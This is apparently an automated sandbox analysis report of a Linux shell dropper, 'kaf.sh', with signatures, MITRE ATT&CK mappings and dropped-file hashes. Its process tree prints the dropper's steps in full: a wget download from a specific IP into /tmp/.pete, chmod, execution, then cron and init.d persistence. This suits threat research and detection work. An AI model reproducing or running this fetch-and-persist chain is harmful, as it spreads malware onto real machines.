Overview

overview

10

Static

static

1

kaf.sh

ubuntu-18.04-amd64

10

kaf.sh

debian-9-armhf

8

kaf.sh

debian-9-mips

kaf.sh

debian-9-mipsel

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04/08/2026, 00:19

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General

  • Target
    kaf.sh
  • Size 2KB
  • Sample260804-amfylasxet
  • SHA256 cdeb194ef3585eea3f918f6fcb866cadc30a92b6e0cf3dcd3a80aaf41d80806e
  • MD5 SHA1 SHA512 TLSH
Score
8/10
command_and_controldefense_evasiondiscoveryexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • Contacts a large (1300) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Outbound SSH connection to public host 2 TTPs 64 IoCs

    SSH is used for remote access. This may indicate SSH host discovery, encrypted C2 traffic, or data exfiltration.

    command_and_control
  • Unexpected DNS network traffic destination 4 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

    persistence
  • Changes its process name 6 IoCs
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/kaf.sh
    /tmp/kaf.sh
    1⤵
    • Executes dropped EXE
    • Modifies init.d
    PID:645
    • /usr/bin/killall
      killall -9 .pete pete_v6 pete_v7
      2⤵
      • Reads runtime system information
      PID:647
    • /bin/rm
      rm -f /tmp/xxeurbmrod
      2⤵
        PID:652
      • /bin/uname
        uname -m
        2⤵
          PID:654
        • /bin/grep
          grep -q armv7
          2⤵
            PID:658
          • /usr/bin/wget
            wget -q http://45.151.139.113/z0l1mxjm4mdl4jjfjf7sb2vdmv/pete_arm7 -O /tmp/.pete
            2⤵
            • Writes file to tmp directory
            PID:663
          • /bin/chmod
            chmod +x /tmp/.pete
            2⤵
            • File and Directory Permissions Modification
            PID:679
          • /tmp/.pete
            /tmp/.pete
            2⤵
            • Changes its process name
            • Reads system network configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:680
          • /bin/sleep
            sleep 2
            2⤵
              PID:681
            • /bin/pidof
              pidof .pete
              2⤵
              • Reads runtime system information
              PID:704
            • /usr/bin/head
              head -1
              2⤵
                PID:705
              • /usr/bin/crontab
                crontab -l
                2⤵
                  PID:710
                • /bin/grep
                  grep -v .pete
                  2⤵
                    PID:711
                  • /usr/bin/crontab
                    crontab -
                    2⤵
                    • Creates/modifies Cron job
                    • Reads runtime system information
                    PID:709
                  • /bin/chmod
                    chmod +x /etc/init.d/.pete
                    2⤵
                    • File and Directory Permissions Modification
                    PID:714
                  • /bin/rm
                    rm -f /tmp/kaf.sh
                    2⤵
                      PID:715

                  Network

                        MITRE ATT&CK Enterprise v16

                        Reconnaissance

                        Resource Development

                        Initial Access

                        Execution

                        Scheduled Task/Job

                        1
                        T1053

                        Cron

                        1
                        T1053.003

                        Persistence

                        Boot or Logon Autostart Execution

                        1
                        T1547

                        Boot or Logon Initialization Scripts

                        1
                        T1037

                        RC Scripts

                        1
                        T1037.004

                        Scheduled Task/Job

                        1
                        T1053

                        Cron

                        1
                        T1053.003

                        Privilege Escalation

                        Boot or Logon Autostart Execution

                        1
                        T1547

                        Boot or Logon Initialization Scripts

                        1
                        T1037

                        RC Scripts

                        1
                        T1037.004

                        Scheduled Task/Job

                        1
                        T1053

                        Cron

                        1
                        T1053.003

                        Defense Evasion

                        File and Directory Permissions Modification

                        1
                        T1222

                        Linux and Mac File and Directory Permissions Modification

                        1
                        T1222.002

                        Credential Access

                        Discovery

                        Network Service Discovery

                        2
                        T1046

                        System Network Configuration Discovery

                        1
                        T1016

                        Internet Connection Discovery

                        1
                        T1016.001

                        Lateral Movement

                        Collection

                        Command and Control

                        Protocol Tunneling

                        1
                        T1572

                        Exfiltration

                        Impact

                        Replay Monitor

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                        Downloads

                        .pete
                        • Path /etc/init.d/.pete
                        • Size 23B
                        • SHA256 6a6ece4e11187312b8ea9176f76ee629ccc79a5966c79b51396f620b9c9fe3e2
                        • MD5 SHA1 SHA512
                        Submit Download

                        .pete
                        • Path /tmp/.pete
                        • Size 811KB
                        • SHA256 051515bf18ee3139cd2c6ec47b1423a6c329a434bce604b03d25fd453e4c89f7
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        xxeurbmrod
                        • Path /tmp/xxeurbmrod
                        • Size 4B
                        • SHA256 9831a2964a92b51538bcbcdfc8ddfd527a8df2a452c127cdbcebbf543112330c
                        • MD5 SHA1 SHA512
                        Submit Download

                        tmp.I6m3Ad
                        • Path /var/spool/cron/crontabs/tmp.I6m3Ad
                        • Size 198B
                        • SHA256 1903b51dc85942e392d2a03e5a1b6ca5335ad3db4b501e8b272d0e522b0a68c8
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download